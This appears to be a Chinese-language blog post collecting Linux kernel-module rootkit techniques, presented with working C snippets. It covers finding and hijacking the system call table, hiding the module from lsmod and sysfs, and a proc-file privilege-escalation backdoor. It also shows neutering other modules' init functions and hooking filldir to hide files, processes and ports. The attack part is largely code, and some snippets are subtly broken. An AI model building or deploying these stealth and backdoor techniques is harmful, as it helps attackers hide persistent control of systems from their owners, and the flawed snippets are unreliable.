linux lkm rootkit常用技巧

简介

搜集一下linux lkm rootkit中常用的一些技巧

1、劫持系统调用

遍历地址空间

根据系统调用中的一些导出函数，比如sys_close的地址来寻找

unsigned long **
get_sys_call_table(void)
{
  unsigned long **entry = (unsigned long **)PAGE_OFFSET;

  for (;(unsigned long)entry < ULONG_MAX; entry += 1) {
    if (entry[__NR_close] == (unsigned long *)sys_close) {
        return entry;
      }
  }

  return NULL;
}

这要求判断的地址是导出函数，这样才能获取到地址

根据IDT地址，找到中断处理函数，再从中根据特征码找到系统调用表

在i386的机器中，使用如下代码调用系统调用表

call *sys_call_table(,%eax,4)

这条指令的二进制代码是

0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1>

然后根据0xff 0x14 0x85这3个特征码去寻找表的地址

IDTR idtr; interrupt_descriptor *IDT, *sytem_gate;
asm("sidt %0" : "=m" (idtr));
IDT = (interrupt_descriptor *) idtr.base_addr;
system_gate = &IDT[0x80];
sys_call_asm = (char *) ((system_gate->off2 << 16) | system_gate->off1);
for (i = 0; i < 100; i++) {
if (sys_call_asm[i] == (unsigned char) 0xff &&
sys_call_asm[i+1] == (unsigned char) 0x14 &&
sys_call_asm[i+2] == (unsigned char) 0x85)
*guessed_sct = (unsigned int *) *(unsigned int *) &sys_call_asm[i+3];
}

根据system.map来寻找

System.map位于/boot目录下，内核编译时生的符号表内容

直接在这个文件中寻找sys_call_table的地址

内核中kallsym寻找符号地址

内核中有查询符号表地址的函数，直接使用就可以了

//查询符号表的函数
static int khook_lookup_cb(long data[], const char *name, void *module, long addr)
{
    int i = 0; while (!module && (((const char *)data[0]))[i] == name[i]) {
        if (!name[i++]) return !!(data[1] = addr);
    } return 0;
}
/*
利用kallsyms_on_each_symbol可以查询符号表，只需要传入查询函数就可以了
data[0]表示要查询的地址
data[1]表示结果
*/
static void *khook_lookup_name(const char *name)
{
    long data[2] = { (long)name, 0 };
    kallsyms_on_each_symbol((void *)khook_lookup_cb, data);
    return (void *)data[1];
}

内联钩子

替换掉内核代码的前一部分，实现劫持内核其他的函数逻辑

具体可以看这里：https://www.cnblogs.com/likaiming/p/10970543.html

系统派遣例程篡改

在整个系统调用的流程中，修改跳转到sys_call_table的地址的位置，然后跳转到自定义伪造系统调用表，这样也可以实现系统调用的劫持

模拟系统调用

写一段代码，用到sys_call_table，然后使用objdump查看地址

#include <stdio.h>
void fun1()
{
        printf("fun1/n");
}
void fun2()
{
        printf("fun2/n");
}
unsigned int sys_call_table[2] = {fun1, fun2};
int main(int argc, char **argv)
{
        asm("call *sys_call_table(%eax,4");
}

通过/dev/kmem访问内存来实现系统调用表的搜寻

这种方式统一和之前的内存地址搜寻一样，需要特征码，比如说0xff 0x14 0x85

kprobes

它的工作方式如下：

1. 用户指定一个探测点，并把一个用户定义的处理函数关联到该探测点
2. 在注册探测点的时候，对被探测函数的指令码进行替换，替换为int 3的指令码
3. 在执行int 3的异常执行中，通过通知链的方式调用kprobe的异常处理函数
4. 在kprobe的异常出来函数中，判断是否存在pre_handler钩子，存在则执行
5. 执行完后，准备进入单步调试，通过设置EFLAGS中的TF标志位，并且把异常返回的地址修改为保存的原指令码
6. 代码返回，执行原有指令，执行结束后触发单步异常
7. 在单步异常的处理中，清除单步标志，执行post_handler流程，并最终返回 

LSM hook技术

修改LSM的钩子函数，也就是全局表security_ops的函数指针

2、隐藏模块

删除全局模块链表

lsmod命令是通过/proc/modules来获取当前系统模块信息的，而/proc/modules中的当前系统模块信息是内核利用struct modules结构体的表头遍历内核模块链表、从所有模块的struct module结构体中获取模块的相关信息来得到的。结构体struct module在内核中代表一个内核模块。通过insmod(实际执行init_module系统调用)把自己编写的内核模块插入内核时，模块便与一个 struct module结构体相关联，并成为内核的一部分，所有的内核模块都被维护在一个全局链表中，链表头是一个全局变量struct module *modules。任何一个新创建的模块，都会被加入到这个链表的头部，通过modules->next即可引用到。为了让我们的模块在lsmod命令中的输出里消失掉，我们需要在这个链表内删除我们的模块

从sysfs中隐藏模块

除了lsmod命令和相对应的查看/proc/modules以外，我们还可以在sysfs中，也就是通过查看/sys/module/目录来发现现有的模块

这个问题也很好解决，在初始化函数中添加一行代码即可解决问题

kobject_del(&THIS_MODULE->mkobj.kobj);

从文件隐藏的角度来隐藏模块

前面说到，用户态读取模块信息是proc/modules和sys/modules，可以采用隐藏文件的方式来隐藏这两个文件的信息

3、后门

使用proc文件提高进程权限

新建一个proc文件（当然最后要隐藏），然后自定义file_operation中的写操作，用来提取权限

使用netfilter过滤进入系统的网络包，通过网络包中特殊字段来做到控制系统

4、防止其他模块加载

注册或者注销模块通知处理函数可以使用 register_module_notifier 或者unregister_module_notifier

编写一个通知处理函数，然后填充 struct notifier_block 结构体， 最后使用register_module_notifier 注册就可以了

int module_notifier(struct notifier_block *nb,
                unsigned long action, void *data);
 
struct notifier_block nb = {
    .notifier_call = module_notifier,
    .priority = INT_MAX
};

处理函数里面再更改权限

int
fake_init(void);
void
fake_exit(void);
 
int
module_notifier(struct notifier_block *nb,
                unsigned long action, void *data)
{
    struct module *module;
    unsigned long flags;
    // 定义锁。
    DEFINE_SPINLOCK(module_notifier_spinlock);
 
    module = data;
    fm_alert("Processing the module: %s
", module->name);
 
    //保存中断状态加锁。
    spin_lock_irqsave(&module_notifier_spinlock, flags);
    switch (module->state) {
    case MODULE_STATE_COMING:
        fm_alert("Replacing init and exit functions: %s.
",
                 module->name);
        // 偷天换日：篡改模块的初始函数与退出函数。
        module->init = fake_init;
        module->exit = fake_exit;
        break;
    default:
        break;
    }
 
    // 恢复中断状态解锁。
    spin_unlock_irqrestore(&module_notifier_spinlock, flags);
 
    return NOTIFY_DONE;
}
 
 
int
fake_init(void)
{
    fm_alert("%s
", "Fake init.");
 
    return 0;
}
 
 
void
fake_exit(void)
{
    fm_alert("%s
", "Fake exit.");
 
    return;
}

5、隐藏文件

到文件隐藏，我们不妨先看看文件遍历的实现，在linux内核中，fs eaddir.c中，有3个用来遍历文件的系统调用，old_readdir，getdents和getdents64，看其中两个，也就是系统调用getdents / getdents64 ，简略地浏览它在内核态服务函数（sys_getdents）的源码 （位于fs/readdir.c），我们可以看到如下调用层次， sys_getdents ->iterate_dir -> struct file_operations 里的 iterate->这儿省略若干层次 -> struct dir_context 里的 actor ，也就是filldir

filldir 负责把一项记录（比如说目录下的一个文件或者一个子目录）填到返回的缓冲区里。如果我们钩掉filldir ，并在我们的钩子函数里对某些特定的记录予以直接丢弃，不填到缓冲区里，上层函数与应用程序就收不到那个记录，也就不知道那个文件或者文件夹的存在了，也就实现了文件隐藏。

具体说来，我们的隐藏逻辑如下： 篡改根目录（也就是“/”）的 iterate为我们的假 iterate ， 在假函数里把 struct dir_context 里的 actor替换成我们的 假 filldir ，假 filldir 会把需要隐藏的文件过滤掉。

int
fake_iterate(struct file *filp, struct dir_context *ctx)
{
    // 备份真的 ``filldir``，以备后面之需。
    real_filldir = ctx->actor;
 
    // 把 ``struct dir_context`` 里的 ``actor``，
    // 也就是真的 ``filldir``
    // 替换成我们的假 ``filldir``
    *(filldir_t *)&ctx->actor = fake_filldir;
 
    return real_iterate(filp, ctx);
}
 
int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
             loff_t offset, u64 ino, unsigned d_type)
{
    if (strncmp(name, SECRET_FILE, strlen(SECRET_FILE)) == 0) {
        // 如果是需要隐藏的文件，直接返回，不填到缓冲区里。
        fm_alert("Hiding: %s", name);
        return 0;
    }
 
    /* pr_cont("%s ", name); */
 
    // 如果不是需要隐藏的文件，
    // 交给的真的 ``filldir`` 把这个记录填到缓冲区里。
    return real_filldir(ctx, name, namlen, offset, ino, d_type);
}

通用宏

# define set_f_op(op, path, new, old)                       
    do {                                                    
        struct file *filp;                                  
        struct file_operations *f_op;                       
                                                            
        fm_alert("Opening the path: %s.
", path);          
        filp = filp_open(path, O_RDONLY, 0);                
        if (IS_ERR(filp)) {                                 
            fm_alert("Failed to open %s with error %ld.
", 
                     path, PTR_ERR(filp));                  
            old = NULL;                                     
        } else {                                            
            fm_alert("Succeeded in opening: %s
", path);   
            f_op = (struct file_operations *)filp->f_op;    
            old = f_op->op;                                 
                                                            
            fm_alert("Changing iterate from %p to %p.
",   
                     old, new);                             
            disable_write_protection();                     
            f_op->op = new;                                 
            enable_write_protection();                      
        }                                                   
    } while(0)

比如这么调用下面的代码

void *dummy;
set_file_op(iterate, "/", real_iterate, dummy);

6、隐藏进程

Linux 上纯用户态枚举并获取进程信息，/proc 是唯一的去处。所以，对用户态隐藏进程，我们可以隐藏掉/proc 下面的目录，这样用户态能枚举出来进程就在我们的控制下了。读者现在应该些许体会到为什么文件隐藏是重点内容了。

int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
             loff_t offset, u64 ino, unsigned d_type)
{
    char *endp;
    long pid;
 
    // 把字符串变成长整数。
    pid = simple_strtol(name, &endp, 10);
 
    if (pid == SECRET_PROC) {
        // 是我们需要隐藏的进程，直接返回。
        fm_alert("Hiding pid: %ld", pid);
        return 0;
    }
 
    /* pr_cont("%s ", name); */
 
    // 不是需要隐藏的进程，交给真的 ``filldir`` 填到缓冲区里。
    return real_filldir(ctx, name, namlen, offset, ino, d_type);

7、隐藏端口

向用户态隐藏端口， 其实就是在用户进程读/proc下面的相关文件获取端口信息时， 把需要隐藏的的端口的内容过滤掉，使得用户进程读到的内容里面没有我们想隐藏的端口。
具体说来，看下面的表格。
网络类型 /proc 文件 内核源码文件 主要实现函数
TCP / IPv4 /proc/net/tcp net/ipv4/tcp_ipv4.c tcp4_seq_show
TCP / IPv6 /proc/net/tcp6 net/ipv6/tcp_ipv6.c tcp6_seq_show
UDP / IPv4 /proc/net/udp net/ipv4/udp.c udp4_seq_show
UDP / IPv6 /proc/net/udp6 net/ipv6/udp.c udp6_seq_show